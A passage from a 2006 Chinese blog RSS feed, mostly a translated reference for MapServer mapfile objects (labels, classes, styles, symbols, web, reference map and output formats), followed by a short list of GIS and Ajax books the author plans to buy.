作为symbols用。Label Object的属性：<br />1， ANGLE [double]<br />值用角度制表示。指示标签的角度。对于线图层可以使用AUTO值。<br />2， ANTIALIAS [true|false]<br />确认标签中的文本是否可以别名。True为不允许别名。注意需要多一些的colors并会导致输出图像轻微的变大。<br />3，BACKGROUNDCOLOR [r] [g] [b]<br />缺省为Off 。<br />4，BACKGROUNDSHADOWCOLOR [r] [g] [b]<br />矩形背景的颜色。缺省为Off。<br />5，BACKGROUNDSHADOWSIZE [x][y]<br />缺省为1。<br />6，BUFFER [integer]<br />在cached label周围填充像元。对保持文本周围的空间以增强可读性有用。缺省为0。<br />7，COLOR [r] [g] [b]<br />文本颜色。<br />8，FONT [name]<br />在Map Object的 FONTSET文件中定义的字体别名。<br />9，FORCE [true|false]<br />强制对一个特征类（Class）进行标记，而无视标签冲突。仅对cached labels有效。缺省false。<br />10，MAXSIZE [integer]<br />字体最大显示尺寸。缺省为256。<br />11，MINDISTANCE [integer]<br />复制一个label产生的label与被复制的label之间的最小距离。值为pixels。<br />12，MINFEATURESIZE [integer|auto]<br />被标记特征的最小尺寸，以pixels为单位，仅对cached labels有效。对线数据是长度。对多边形是最小面积。 如果选“Auto”则 MapServer 仅显示那些特征的大小比它们的标记大的多的标签。<br />13，MINSIZE [integer]<br />字体显示的最小值，缺省为4。 <br />14，OFFSET [x][y]<br />单位为pixels。坐标原点在左下角。<br />15，OUTLINECOLOR [r] [g] [b]<br />文本轮廓颜色。<br />16，PARTIALS [true|false]<br />确认文本是否可以超出map边缘。缺省是true。<br />17，POSITION [ul|uc|ur|cl|cc|cr|ll|lc|lr|auto]<br />Label的位置。首字母是“Y”位置，第二个为“X”位置。“Auto“告知MapServer计算该label的不会与其他label相冲突的位置。<br />18，SHADOWCOLOR [r] [g] [b]<br />阴影颜色。<br />19，SHADOWSIZE [x][y]<br />阴影大小。<br />20，SIZE [integer]|[tiny|small|medium|large|giant]<br />文本大小。<br />21，TYPE [bitmap|truetype]<br />使用字体类型。<br />22，WRAP [character]<br />文本末尾出现的字符。<br />Label中无嵌套对象。<br /><br /><br />Class Object<br />Class Object定义一个给定的Layer专题类别，每个图层至少有一个类别。在Layer Object中的ClassItem设置分类的项目。如一个公路图层，可以根据公路的级别（ClassItem）分为国道，一级公路，二级公路等。其属性如下：<br />1，BACKGROUNDCOLOR [r] [g] [b]<br />不透明符号颜色。<br />2，COLOR [r] [g] [b]<br />特征显示的颜色。<br />3，DEBUG<br />与map DEBUG的意义相似。<br />4，EXPRESSION [string]<br />将string与ClassItem比较，以确定Class。<br />有三种表达式：字符串，正则表达式， 逻辑表达式。如果没有给出string，那么所有特征都归在此Class中。<br />字符串对大小写敏感，易于快速处理。没有转义字符。<br />正则表达式需要用 /regex/来定义。不须引用。<br />逻辑表达式允许基于一个或更多的属性建立相当复杂的测试，也因此仅对shapefile文件有效。逻辑表达式以“(expression)”形式定义。用到的属性须加以[],即：“[ATTRIBUTE]”。注意属性值大小写敏感并且要与shapefile文件中的字段一致。例如：<br />EXPRESSION ([POPULATION] &gt; 50000 AND '[LANGUAGE]' eq 'FRENCH') <br />逻辑表达式允许操作符： =,&gt;,&lt;,&lt;=,&gt;=,=,or,lt,gt,ge,le,eq。其处理速度要慢。<br />字符串和正则表达式都是以layer中classitem为分类依据的。同一个layer可以同时有使用这三种表达式的class。<br />5，MAXSIZE [integer]<br />绘制一个符号的最大尺寸，以pixel为单位，缺省为50。<br />6，MINSIZE [integer]<br />绘制一个符号的最小尺寸，以pixel为单位，缺省为0。<br />7，NAME [string]<br />使用此Class的图例（Lengend）名称。如果没有设置，则此class不会显示在图例中。<br />8，OUTLINECOLOR [r] [g] [b]<br />多边形符号轮廓的颜色，线符号不支持。<br />9，SIZE [integer]<br />符号的高度，以pixel为单位。 仅比例尺符号使用。缺省为1。<br />10，SYMBOL [integer|string]<br />设置使用的符号。String为定义Symbole文件中的符号名称。Integer是符号索引值。缺省是0，意味着：a single pixel，single width line， 或 solid polygon fill，取决于layer类型。<br />11，TEMPLATE [filename]<br />使用的template的文件。<br />12，TEXT [string]<br />该class使用的label的静态文本。 它的值超出LABELTIEM。字符串可以使用（）定义。它允许整合多个属性到一个label。例如：（[FIRSTNAME],[LASTNAME])。<br /><br /><br />Class Object允许定义两个symbol。第二个在上。使用如下属性：<br />OVERLAYBACKGROUNDCOLOR<br />OVERLAYCOLOR<br />OVERLAYOUTLINECOLOR<br />OVERLAYSIZE<br />OVERLAYMINSIZE<br />OVERLAYMAXSIZE<br />OVERLAYSYMBOL<br />Class Object允许嵌套的对象：JOIN，LABEL，STYLE。<br /><br /><br />Feature Object<br />定义layer的内置特征。当创建一个新layer不大可能或太过于复杂的情形下可以使用内置的特征解决问题。内置特征也可以通过url或表单来创建。<br />1，POINTS<br />一组x、y坐标对。以END结束。例如：<br />POINTS <br />1 1 50 <br />50 1 <br />50 1 1<br />END<br />注意对于多边形layer起点更终点应相同。<br />2，TEXT [string]<br />标记特征的文本。<br />Feature Object无可以嵌套对象。<br /><br /><br />Join Object<br />Join Object定义如何处理join。Join Object嵌套在其他查询对象中。<br />1，FROM [item]<br />Shapefile中的join字段。<br />2，NAME [string]<br />该属性是强制的。Join的名字。<br />3，TABLE [file]<br />Join的XBase 文件的名字（DBF, 必须是完整路径) <br />4，TEMPLATE [filename]<br />使用的Template文件。Template文件对每个记录仅处理一次，且仅包含要join的属性表中的字段的替换变量。<br />5，TO [item]<br />要join的属性表中的字段。<br />6，TYPE [multiple|single]<br />Join的类型，缺省为single （如：一对一）。<br />Join Object无可嵌套对象。<br /><br /><br />Style Object<br />Style Object配置符号参数。一个Class可以有多个Style object。也就有多种style。在MS4.0版本中引入此对象。它的目的是为了将逻辑与显示相分离。它是定义对象，特别是class外观的新方法。它的属性及其意义与Class中的同名属性意义相同。<br />1，ANTIALIAS [true|false]<br />是否允许TrueType 字体别名，true为不允许。<br />2，BACKGROUNDCOLOR [r] [g] [b]<br />不透明符号的颜色。<br />3，COLOR [r] [g] [b]<br />绘制特征的颜色。<br />4，MAXSIZE [integer]<br />绘制符号的最大尺寸，以pixel为单位。缺省为50。<br />5，MINSIZE [integer]<br />绘制符号的最小尺寸，以pixel为单位。缺省为0。<br />6，OFFSET [x][y]<br />Offset values for shadows, hollow symbols, etc ...<br />7，OUTLINECOLOR [r] [g] [b]<br />多边形符号轮廓的颜色，线符号不支持。<br />8，SIZE [integer]<br />符号的高度，以pixel为单位。 仅比例尺符号使用。缺省为1。<br />9，SYMBOL [integer|string]<br />设置使用的符号。String为定义Symbole文件中的符号名称。Integer是符号索引值。缺省是0，意味着：a single pixel，single width line， 或 solid polygon fill，取决于layer类型。<br />Style Object无可嵌套对象。<br /><br /><br />Symbology Reference<br />Symbol 定义可以包含在MapFile中；更普遍的是在独立文件中，并通过在Map Object中使用SYMBOLSET 引用。在独立文件中设置Symbol，可以增强可重用性。MapServer有三种symbol类型：Markers，Shadesets和Lines。对于点符号，symbol 0 是单个像元。对于阴影 (如多边形填充) symbol 0是一个实填充。对于线符号，symbol 0表示只有一个像元宽的线。在Symbol中不包含颜色定义，颜色定义在Class Object中。每个文件最多允许定义64种符号。 可以通过修改源文件mapsymbol.h中的MS_MAXSYMBOLS 的值来设置允许定义的最多符号数。<br />语法：<br />1，ANTIALIAS [true|false]<br />是否允许TrueType fonts别名。True为不允许。<br />2，CHARACTER [char]<br />单个字符，用来对TrueType 中的字符引用。需要算出从键盘字符到字体字符的映象。<br />3，FILLED [true|false]<br />以用户定义的颜色（在Class Object中定义）填充符号。对于Markers 类型的符号，如果 OUTLINECOLOR 被指定，那么轮廓就以用户定义的颜色显示。<br />4，FONT [string]<br />在Map Object的 FONTSET文件中定义的字体别名。<br />5，GAP [int]<br />以像元为单位。对TrueType 线，定义符号之间的距离。<br />6，IMAGE [string]<br />GIF或PNG图像，用作marker 符号或象素映射符号刷。<br />7，NAME [string]<br />别名。即在CLASS objects的SYMBOL的属性值。<br />8，POINTS [x y] [x y] ... END<br />这些点定义矢量符号，或定义x，y半径或椭圆形。坐标以像元为单位。定义了符号缺省大小。You can create non-contiguous paths by inserting negative coordinates at the appropriate place。其中x，y不等表示椭圆，相等即为园。<br />9，STYLE [num on] [num off] [num on] ... END<br />定义一个dash style 或 pattern.<br />10，TRANSPARENT [color index]<br />对输入的GIF 图像（用于pixmap symbols）设置透明色。或确认是否所有的阴影符号都要有个透明的背景。缺省情况下符号背景色与所属图像颜色相同。<br />11，TYPE [vector|ellipse|pixmap|truetype|simple]<br />Vector：a simple drawing 被用于定义符号形状。<br />ellipse:：radius values in the x and y directions 定义一个椭圆。<br />Pixmap：一个用户支持的GIF图像作为符号用。<br />Truetype：TrueType font to use as defined in the FONTSET。<br />例子：<br />Example 3. Dashed Line<br /><br />SYMBOL<br />NAME 'dashed1'<br />TYPE ELLIPSE<br />POINTS 1 1 END<br />FILLED true<br />STYLE 10 5 5 10 END<br />END<br /><br />This creates a dashed line with 10 pixels on, 5 off, 5 on, 10 off ...<br /><br />Example 4. TrueType font marker symbol<br /><br />SYMBOL<br />NAME "natcap"<br />TYPE TRUETYPE<br />FONT geo<br />FILLED true<br />ANTIALIAS true<br />CHARACTER "r"<br />END<br /><br />This symbol is a star, used to represent the national capital, hence the name. The font name in defined in the FONTSET file. The code number "114" varies, you can use MS Windows' character map to figure it out, or guestimate.<br /><br /><br />Example 5. Vector triangle marker symbol<br /><br />SYMBOL<br />NAME "triangle"<br />TYPE vector<br />POINTS<br />0 4<br />2 0<br />4 4<br />0 4<br />END<br />END<br /><br />This is fairly straight forward. Note that to have 3 sides you need 4 points, hence the first and last points are identical.<br /><br />Example 6. Non-contiguous vector marker symbol (Cross)<br /><br />SYMBOL<br />NAME "cross"<br />TYPE vector<br />POINTS<br />2 0<br />2 4<br />-99 -99<br />0 2<br />4 2<br />END <br />END<br /><br />This example draws a cross, that is 2 lines (vectors) that are not connected end-to-end (Like the triangle in the previous example). The negative values separate the two.<br /><br /><br />Example 7. Circle vector symbol<br /><br />SYMBOL<br />NAME "circle"<br />TYPE ellipse<br />FILLED true<br />POINTS<br />1 1<br />END<br />END<br /><br />A simple filled circle. Using non-equal values for the point will give you an actual ellipse.<br /><br />Example 8. Downward diagonal fill<br /><br />SYMBOL <br />NAME "downwarddiagonalfill"<br />TYPE vector<br />TRANSPARENT 0<br />POINTS<br />0 1<br />1 0<br />END <br />END<br /><br /><br />Web Object<br />Web Object定义如何处理web接口。<br />1， EMPTY [url]<br />如果用户查询失败，将连接此URL；如果没有定义则用户进入ERROR [url]。<br />2，ERROR [url]<br />3，FOOTER [filename]<br />使用的Footer模板文件，仅在Multiresult query 模式下有效。<br />4，HEADER [filename]<br />使用的Header模板文件，仅在Multiresult query 模式下有效。<br />5，IMAGEPATH [path]<br />存储临时文件和图像的路径。根据操作系统不同以“\”“/”结尾。<br />6，IMAGEURL [path]<br />配置IMAGEPATH的URL访问路径。该URL 将引导浏览器从IMAGEPATH中获取输出图像。<br />7，LOG [filename]<br />记录MapServer服务。<br />8，MAXSCALE [double]<br />web交互界面有效的最大尺寸。如果用户输入的页面尺寸请求超过Map Object中定义的最大尺寸，则 MapServer 就以这个尺寸响应用户请求；即输出图像。对防止用户过分放大图像非常有用。<br />9，MAXTEMPLATE [file|url]<br />Template to be used if above the maximum scale for the app, useful for nesting apps.<br />10，METADATA<br />METADATA以END结尾。可以在其中加入任何说明。用于定义OGC WMS的要素。 其中的说明可以被template tags访问，从而增强创建template文件的弹性。如：<br />METADATA<br />title "My layer title"<br />author "Me!"<br />END<br />11，MINSCALE [double]<br />web交互界面有效的最小尺寸。如果用户输入的页面尺寸请求小于Map Object中定义的最小尺寸，则 MapServer 就以这个尺寸响应用户请求；即输出图像。对防止用户过分缩小图像非常有用。<br />12，MINTEMPLATE<br />Template to be used if above the minimum scale for the app, useful for nesting apps.<br />13，TEMPLATE [filename|url]<br />使用的交互界面template文件。<br />Web Object无可嵌入的对象。<br /><br /><br />Reference Map Object<br />Reference Map Object定义参照地图如何创立。支持三种参照地图类型。参照地图最普遍的用法是做为map的观察窗口。可以利用参照地图对查询结果进行观察。当点查询发生时，会在输出Reference Map中产生一个点符号，以指示被查询的位置。区域查询就在Reference Map 中产生一个方框，以指示查询区域。特征查询就在Reference Map显示查询的特征。总之，Reference Map可以视为查询的观察窗口。<br />1，COLOR [r] [g] [b]<br />观察窗口的颜色。Set any component to -1 for no fill. 缺省为red。<br />2，EXTENT [minx][miny][maxx][maxy]<br />观察窗口（Reference Map图像）的边界。<br />3，IMAGE [filename]<br />Reference图像的完整路径。必须是一个GIF格式文件。<br />4，MARKER [integer|string]<br />指定symbol文件中使用的符号，当观察窗口时用来显示。缺省为：crosshair。<br />5，MARKERSIZE [integer]<br />定义MARKER中的显示符号的尺寸。<br />6，MINBOXSIZE [integer]<br />如果观察窗口的宽度或长度小于此处的integer，则观察窗口按照MARKER 属性配置来显示。<br />7，MAXBOXSIZE [integer]<br />如果观察窗口的宽度或长度小于此处的integer，则观察窗口不显示。<br />8，OUTLINECOLOR [r] [g] [b]<br />观察窗口的轮廓颜色。Set any component to -1 for no outline.<br />9，SIZE [x][y]<br />Reference Map图像的尺寸，以pixel为单位。<br />10，STATUS [on|off]<br />确认是否创建Reference Map，缺省是off。<br />Reference Map Object无可嵌套的对象。<br /><br /><br />QueryMap Object<br />QueryMap Object定义了查询结果（map）的生成机制。<br />1，COLOR [r] [g] [b]<br />要增强显示的特征颜色，缺省为黄色。 <br />2，SIZE [x][y]<br />地图大小，以pixel为单位。缺省值为Map Object中的size。 <br />3，STATUS [on|off]<br />确认查询结果map是否要绘制。<br />4，STYLE [normal|hilite|selected]<br />设置选中的特征如何显示。没有被查询的layer照常显示。<br />Normal：绘制layer的所有特征。<br />Hilite：根据1，COLOR属性值绘制被选中的特征。没有被选中的特征照常绘制。 <br />Selected：仅照常绘制选中的特征。<br />这里的“照常”是指根据layer中配置的意思。<br />QueryMap Object无可嵌套的对象。<br /><br /><br />OutputFormat Object<br />OutputFormat Object对输出格式定义。一个mapfile文件可以有一种，或多种输出格式，都是通过OutputFormat Object定义的，一个OutputFormat Object定义一种输出格式。如：PNG, GIF, JPEG, GeoTIFF and Flash (SWF)。如果在mapfile种没有定义OutputFormat Object则一下OutputFormat Object定义是隐含的。 <br />GeoTIFF 格式由GDAL 支持，Flash (SWF) 由 MING library支持。<br />OUTPUTFORMAT<br />NAME gif<br />DRIVER "GD/GIF"<br />MIMETYPE "image/gif"<br />IMAGEMODE PC256<br />EXTENSION "gif"<br />END<br />OUTPUTFORMAT<br />NAME png<br />DRIVER "GD/PNG"<br />MIMETYPE "image/png"<br />IMAGEMODE PC256<br />EXTENSION "png"<br />END<br />OUTPUTFORMAT<br />NAME jpeg<br />DRIVER "GD/JPEG"<br />MIMETYPE "image/jpeg"<br />IMAGEMODE RGB<br />EXTENSION "jpg"<br />END<br />OUTPUTFORMAT<br />NAME wbmp<br />DRIVER "GD/WBMP"<br />MIMETYPE "image/wbmp"<br />IMAGEMODE PC256<br />EXTENSION "wbmp"<br />END<br />OUTPUTFORMAT<br />NAME swf<br />DRIVER "SWF"<br />MIMETYPE "application/x-shockwave-flash"<br />EXTENSION "swf"<br />IMAGEMODE PC256<br />FORMATOPTION "OUTPUT_MOVIE=SINGLE"<br />END<br />OUTPUTFORMAT<br />NAME GTiff<br />DRIVER "GDAL/GTiff"<br />MIMETYPE "image/tiff"<br />IMAGEMODE RGB<br />EXTENSION "tif"<br />END<br />OutputFormat Object的属性如下：<br />1，NAME [name]<br />如：PNG, GIF, JPEG, GeoTIFF等。<br />2，DRIVER [name]<br />支持产生此输出格式的程序（驱动程序）。如果驱动程序支持多种格式在书写时加上“/格式名”如“GD/Gif”，“GD/PNG”，“GD/WBMP”，“GD/JPEG”。GDAL和GD 都支持PNG, JPEG 和GIF输出格式。<br />3，IMAGEMODE [PC256/RGB/RGBA/INT16/FLOAT32]<br />选择输出图像的样式。不是所有输出格式都支持所有可选择样式。如： GD/GIF 仅支持PC256。<br />PC256：支持256色 (traditional MapServer mode)<br />RGB：24位Red/Green/Blue mode。支持所有颜色，当不支持透明。<br />RGBA：32位 Red/Green/Blue/Alpha mode。支持所有颜色，支持alpha基础的透明。<br />INT16：Render one band of data in 16 bit integer depth。仅对RASTER layers (through GDAL) 和WMS layers 有效<br />FLOAT32： Render one band of data in 32bit floating point depth。仅对RASTER layers (through GDAL) 和WMS layers 有效。<br />4，MIMETYPE [type]<br />指定给web的mime文件类型 (optional)。<br />5，EXTENSION [type]<br />创建该mime文件的边界 (optional)。<br />6，TRANSPARENT [ON/OFF]<br />指示该输出格式文件是否支持透明。透明对IMAGEMODE RGB 输出格式不支持。<br />7，FORMATOPTION [option]<br />提供一个驱动程序或或format specific option。零个或多个 FORMATOPTION 声明可以OUTPUTFORMAT 中声明（可选）。<br />GD/JPEG: The "QUALITY=n" option may be used to set the quality of jpeg produced (value from 0-100)。<br />GD/PNG：The "INTERLACE=[ON/OFF]" option may be used to turn interlacing on or off。<br />GD/GIF：The "INTERLACE=[ON/OFF]" option may be used to turn interlacing on or off。<br />GDAL/Gtiff…Supports….the…TILED=YES,BLOCKXSIZE=n,BLOCKYSIZE=n INTERLEAVE=[PIXEL/BAND] and COMPRESS=[NONE,PACKBITS,JPEG,LZW,DEFLATE] format specific options。<br />GDAL/*：All FORMATOPTIONs are passed onto the GDAL create function. Options supported by GDAL are described in the detailed documentation for each GDAL format。<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6300.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-04-26 11:29 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6300.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Memo:Purchase Books</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6299.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 26 Apr 2006 03:25:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6299.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6299.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6299.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6299.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6299.html</trackback:ping><description><![CDATA[1. ajax实战<a href="http://www.dearbook.com.cn/2006/Ajaxpric/index.htm"><br />http://www.dearbook.com.cn/2006/Ajaxpric/index.htm</a><br /><br />2. spatial database :A tour<br /><a href="http://www.dearbook.com.cn/book/21776">http://www.dearbook.com.cn/book/21776</a><br /><br />3.<span id="TitleBookName">《当代GIS的若干理论与技术》</span><br /><a href="http://www.xishu.com.cn/channel/main/book.aspx?GUID=%7B772BE589-D5B4-434B-AC08-789AE670D133%7D">http://www.xishu.com.cn/channel/main/book.aspx?GUID=%7B772BE589-D5B4-434B-AC08-789AE670D133%7D</a><br /><br /><a href="http://www.dearbook.com.cn/book/22996">http://www.dearbook.com.cn/book/22996</a><br /><br />4  Pragmatic Ajax   A Web 2.0 Primer<br /><a href="http://www.pragmaticprogrammer.com/titles/ajax/?ajaxian">http://www.pragmaticprogrammer.com/titles/ajax/?ajaxian</a><br /><br /><font face="Arial">5。</font><span lang="EN-US" style="FONT-STYLE: italic; FONT-FAMILY: Tahoma"><font face="Arial">Modeling Our World<br /><br />6。地理信息系统</font></span><img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6299.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-04-26 11:25 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6299.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>